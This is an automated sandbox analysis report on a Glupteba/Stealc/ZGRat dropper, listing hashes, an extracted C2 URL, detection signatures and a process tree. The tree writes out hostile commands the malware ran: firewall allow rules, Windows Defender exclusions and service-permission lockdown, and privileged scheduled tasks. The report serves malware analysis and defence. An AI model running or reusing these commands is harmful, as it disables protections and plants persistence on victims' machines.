glupteba | 0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5

Analysis

max time kernel
13s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
06-05-2024 22:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe
Size

385KB
MD5

b59f0459f49865f51804506853f13621
SHA1

0a77ceeb7f01b61593bdf454aab0c06b8417dd4a
SHA256

0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5
SHA512

157bcabcbaadb0e7684a69e21b48f73013a26d77a0cad4d56280c47d1b146fbc820fb2eb55f32b69ad0828755b9cdf3436ed29217fdcd6162841aeeeea26df69
SSDEEP

12288:w/dg/I5WJOtKa7zBTMSw5U+d+zmnmer1cf90oh:4gFJOtJhMf5U+dEer1c1z

Score

10^/10

glupteba stealc zgrat dropper evasion execution loader rat stealer themida upx

Malware Config

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 2 IoCs

resource	yara_rule
behavioral2/memory/3840-2486-0x0000015A37D40000-0x0000015A37D64000-memory.dmp	family_zgrat_v1
behavioral2/memory/3840-2481-0x0000015A505C0000-0x0000015A506CA000-memory.dmp	family_zgrat_v1

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 19 IoCs

resource	yara_rule
behavioral2/memory/428-621-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/4068-622-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/3408-623-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/4140-624-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/428-1213-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/4068-1214-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/3408-1215-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/4140-1216-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/3408-1236-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/428-1243-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/4140-1244-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/4068-1246-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/5204-1371-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/5248-1374-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/5256-1375-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/5204-2303-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/5256-2305-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/5248-2304-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/5296-2439-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba

Stealc
Stealc is an infostealer written in C++.
stealer stealc
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4372	powershell.exe
3336	powershell.exe
448	powershell.exe
5748	powershell.exe
5540	powershell.EXE
5424	powershell.exe
1512	powershell.exe
428	powershell.exe
5812	powershell.exe
2484	powershell.exe
5556	powershell.exe
5184	powershell.exe
660	powershell.exe
1768	powershell.exe
3844	powershell.exe
6000	powershell.exe
5828	powershell.exe
4256	powershell.exe
4464	powershell.exe
5156	powershell.exe
4488	powershell.exe
5948	powershell.exe
6036	powershell.exe
5660	powershell.exe
2148	powershell.exe
4812	powershell.exe
4896	powershell.exe
4612	powershell.exe
3600	powershell.exe
4560	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4512	netsh.exe
5700	netsh.exe
4820	netsh.exe
5552	netsh.exe

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1L4BmuosKAMzpbsHoShYuEJF.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ExpBdPYQH4HeCEf9VQXxdA2q.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BwIZezvD48Mig0HwZSvGVBm2.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\714raOnvp9KO4tCZIgM84Ggq.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\B2DMeGB4JaBYyB8rjiglH7xI.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\50HRDxCm0knW2o13C2cxzr5P.bat	jsc.exe

Executes dropped EXE 5 IoCs

pid	Process
1704	kGqODposTIgcQbAQ2xEKl25q.exe
428	O2OqzLimjYVxSclKN7vGltge.exe
4068	y4tiJVfzt6seWcCHUNvLmQSd.exe
3408	OQdQOrEhmQhWNFU3LokYPdke.exe
4140	zXdkhULVbcXnRak6lZjXUkSL.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000800000001ab6a-1290.dat	themida
behavioral2/memory/2952-1293-0x0000000140000000-0x0000000140862000-memory.dmp	themida
behavioral2/memory/2952-1660-0x0000000140000000-0x0000000140862000-memory.dmp	themida

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1400-2878-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2332-2879-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1400-2881-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2332-3016-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
4	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4804 set thread context of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5468	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3504	schtasks.exe
2096	schtasks.exe
4208	schtasks.exe
3152	schtasks.exe
5316	schtasks.exe
6004	schtasks.exe
4748	schtasks.exe
6080	schtasks.exe
3388	schtasks.exe
5780	schtasks.exe
5104	schtasks.exe
5368	schtasks.exe
1772	schtasks.exe
3044	schtasks.exe
4196	schtasks.exe
2392	schtasks.exe
5304	schtasks.exe
3048	schtasks.exe
2816	schtasks.exe
1736	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4940	jsc.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 4940	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	72
PID 4804 wrote to memory of 376	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	73
PID 4804 wrote to memory of 376	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	73
PID 4804 wrote to memory of 376	4804	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	73
PID 4940 wrote to memory of 1704	4940	jsc.exe	251
PID 4940 wrote to memory of 1704	4940	jsc.exe	251
PID 4940 wrote to memory of 1704	4940	jsc.exe	251
PID 4940 wrote to memory of 428	4940	jsc.exe	215
PID 4940 wrote to memory of 428	4940	jsc.exe	215
PID 4940 wrote to memory of 428	4940	jsc.exe	215
PID 4940 wrote to memory of 4068	4940	jsc.exe	78
PID 4940 wrote to memory of 4068	4940	jsc.exe	78
PID 4940 wrote to memory of 4068	4940	jsc.exe	78
PID 4940 wrote to memory of 3408	4940	jsc.exe	248
PID 4940 wrote to memory of 3408	4940	jsc.exe	248
PID 4940 wrote to memory of 3408	4940	jsc.exe	248
PID 4940 wrote to memory of 4140	4940	jsc.exe	80
PID 4940 wrote to memory of 4140	4940	jsc.exe	80
PID 4940 wrote to memory of 4140	4940	jsc.exe	80

C:\Users\Admin\AppData\Local\Temp\0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe
"C:\Users\Admin\AppData\Local\Temp\0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Users\Admin\Pictures\kGqODposTIgcQbAQ2xEKl25q.exe
    "C:\Users\Admin\Pictures\kGqODposTIgcQbAQ2xEKl25q.exe"
    3⤵
    - Executes dropped EXE
    PID:1704
  - - C:\Users\Admin\AppData\Local\Temp\u1bc.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u1bc.0.exe"
      4⤵
      PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\u1bc.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u1bc.1.exe"
      4⤵
      PID:5328
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:3840
- - C:\Users\Admin\Pictures\O2OqzLimjYVxSclKN7vGltge.exe
    "C:\Users\Admin\Pictures\O2OqzLimjYVxSclKN7vGltge.exe"
    3⤵
    - Executes dropped EXE
    PID:428
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4612
  - - C:\Users\Admin\Pictures\O2OqzLimjYVxSclKN7vGltge.exe
      "C:\Users\Admin\Pictures\O2OqzLimjYVxSclKN7vGltge.exe"
      4⤵
      PID:5248
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6000
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:5452
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5700
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3600
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4812
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:2972
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5156
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:3044
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:1084
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1768
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4488
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:4888
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:5316
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:1400
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:4596
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:5468
- - C:\Users\Admin\Pictures\y4tiJVfzt6seWcCHUNvLmQSd.exe
    "C:\Users\Admin\Pictures\y4tiJVfzt6seWcCHUNvLmQSd.exe"
    3⤵
    - Executes dropped EXE
    PID:4068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3844
  - - C:\Users\Admin\Pictures\y4tiJVfzt6seWcCHUNvLmQSd.exe
      "C:\Users\Admin\Pictures\y4tiJVfzt6seWcCHUNvLmQSd.exe"
      4⤵
      PID:5296
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5828
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:328
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:4512
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4560
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2148
- - C:\Users\Admin\Pictures\OQdQOrEhmQhWNFU3LokYPdke.exe
    "C:\Users\Admin\Pictures\OQdQOrEhmQhWNFU3LokYPdke.exe"
    3⤵
    - Executes dropped EXE
    PID:3408
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4256
  - - C:\Users\Admin\Pictures\OQdQOrEhmQhWNFU3LokYPdke.exe
      "C:\Users\Admin\Pictures\OQdQOrEhmQhWNFU3LokYPdke.exe"
      4⤵
      PID:5204
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5948
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:5364
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:4820
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5660
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:660
- - C:\Users\Admin\Pictures\zXdkhULVbcXnRak6lZjXUkSL.exe
    "C:\Users\Admin\Pictures\zXdkhULVbcXnRak6lZjXUkSL.exe"
    3⤵
    - Executes dropped EXE
    PID:4140
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4464
  - - C:\Users\Admin\Pictures\zXdkhULVbcXnRak6lZjXUkSL.exe
      "C:\Users\Admin\Pictures\zXdkhULVbcXnRak6lZjXUkSL.exe"
      4⤵
      PID:5256
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6036
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:5424
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5552
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5184
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4896
- - C:\Users\Admin\Pictures\LOjfw0yOYY0RO3TM1n8bFNHZ.exe
    "C:\Users\Admin\Pictures\LOjfw0yOYY0RO3TM1n8bFNHZ.exe"
    3⤵
    PID:2952
- - C:\Users\Admin\Pictures\Lu7XlS0gVNn91P1UVVLZXmve.exe
    "C:\Users\Admin\Pictures\Lu7XlS0gVNn91P1UVVLZXmve.exe"
    3⤵
    PID:528
  - - C:\Users\Admin\AppData\Local\Temp\7zS71B0.tmp\Install.exe
      .\Install.exe /ThYFdiduvbI "385118" /S
      4⤵
      PID:2184
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:4548
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:4768
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:5128
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:440
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:5272
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:3056
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:5352
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:4480
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:5556
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:5044
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:3664
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:4488
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:3504
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:5800
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:1084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:448
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:4100
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:5056
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:4948
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4372
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:4756
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 22:21:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS71B0.tmp\Install.exe\" it /zXididQVYK 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:5104
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        5⤵
        
        PID:4408
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        6⤵
        
        PID:3804
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        7⤵
        
        PID:1560
- - C:\Users\Admin\Pictures\9WFaHgIZ0ljYHXWQkKzTSDHk.exe
    "C:\Users\Admin\Pictures\9WFaHgIZ0ljYHXWQkKzTSDHk.exe"
    3⤵
    PID:2032
  - - C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe
      .\Install.exe /ThYFdiduvbI "385118" /S
      4⤵
      PID:4108
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:5348
      - C:\Windows\SysWOW64\forfiles.exe
        
